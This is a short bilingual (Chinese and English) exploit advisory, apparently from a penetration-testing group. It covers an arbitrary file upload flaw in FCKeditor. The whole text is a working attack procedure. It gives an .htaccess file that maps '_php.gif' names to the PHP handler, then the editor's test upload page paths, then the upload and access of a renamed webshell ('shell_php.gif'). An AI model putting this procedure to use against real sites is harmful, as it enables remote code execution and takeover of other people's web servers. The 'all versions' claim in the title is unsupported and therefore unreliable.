FCKeditor所有版本任意文件上传缺陷
In The Name Of GOD
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
[+] Date: 2011
[+] script:http://sourceforge.net/projects/fckeditor/
[+] Author : pentesters.ir
[+] Website : WwW.PenTesters.IR
利用步骤:
1.创建一个htaccess文件:
代码内容:
<FilesMatch
“_php.gif”>
SetHandler application/x-httpd-php
</FilesMatch>
2.使用编辑器上传htaccess文件.
http://www.xxx.com/FCKeditor/editor/filemanager/upload/test.html
http://www.xxx.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
3.上传shell.php.gif
4.上传后shell.php.gif, 会自动被改名为 shell_php.gif
5.访问http://www.xxx.com/上传目录/shell_php.gif
